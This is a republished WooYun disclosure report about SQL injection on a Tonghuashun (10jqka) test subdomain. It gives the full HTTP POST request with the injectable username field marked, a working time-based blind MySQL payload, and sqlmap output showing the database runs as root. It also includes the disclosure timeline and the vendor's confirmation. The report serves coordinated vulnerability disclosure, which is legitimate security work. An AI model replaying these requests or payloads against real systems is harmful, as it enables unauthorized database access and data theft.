同花顺某站存在SQL注入

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-04-24: 细节已通知厂商并且等待厂商处理中
2016-04-24: 厂商已经确认,细节仅向厂商公开
2016-05-04: 细节向核心白帽子及相关领域专家公开
2016-05-14: 细节向普通白帽子公开
2016-05-24: 细节向实习白帽子公开
2016-06-08: 细节向公众公开

简要描述:

上午找的两个注入,第一个脚本还在跑,就去吃饭了,回来发现已经修复了......太快了

详细说明:

站点:testm.10jqka.com.cn

POST内容:

POST /htdocs/eq/eqadmin/index.php?act=findpass HTTP/1.1

Host: testm.10jqka.com.cn

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://testm.10jqka.com.cn/htdocs/eq/eqadmin/index.php?con=index&act=findpass

Cookie: open_menu_group_id=userManager; Hm_lvt_78c58f01938e4d85eaf619eae71b4ed1=1461131912,1461233665,1461395407,1461395436; Hm_lpvt_78c58f01938e4d85eaf619eae71b4ed1=1461395436; __qc_wId=405; pgv_pvid=8371685238; historystock=ZA; Hm_lvt_22a3c65fd214b0d5fd3a923be29458c7=1461395435; Hm_lpvt_22a3c65fd214b0d5fd3a923be29458c7=1461395435; Hm_lvt_f79b64788a4e377c608617fba4c736e2=1461395435; Hm_lpvt_f79b64788a4e377c608617fba4c736e2=1461395435; PHPSESSID=9jd4k35ljtm67g8ugtb4eit4o7

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 80



username=*&submit=%E6%89%BE%E5%9B%9E%E5%AF%86%E7%A0%81

漏洞证明:

 

123.png





custom injection marking character ('*') found in option '--data'. Do you want t

o process it? [Y/n/q]

[16:11:37] [INFO] resuming back-end DBMS 'mysql'

[16:11:37] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: #1* ((custom) POST)

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

Payload: username=' AND (SELECT * FROM (SELECT(SLEEP(5)))RVJH) AND 'xulI'='x

ulI&submit=%E6%89%BE%E5%9B%9E%E5%AF%86%E7%A0%81

---

[16:11:37] [INFO] the back-end DBMS is MySQL

web application technology: Nginx, PHP 5.6.10

back-end DBMS: MySQL 5.0.12

[16:11:37] [INFO] fetching current user

[16:11:37] [INFO] resumed: root@%

current user: 'root@%'

[16:11:37] [INFO] fetched data logged to text files under 'C:\Users\dell\.sqlmap

\output\testm.10jqka.com.cn'

修复方案:

预编译

版权声明:转载请注明来源 Vinc@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-04-24 13:00

厂商回复:

你好,漏洞已确认,正在进行修复,谢谢。

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度已收录『查看详情』

本文链接:同花顺某站存在SQL注入 - https://www.15qq.cn/wooyun/997.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知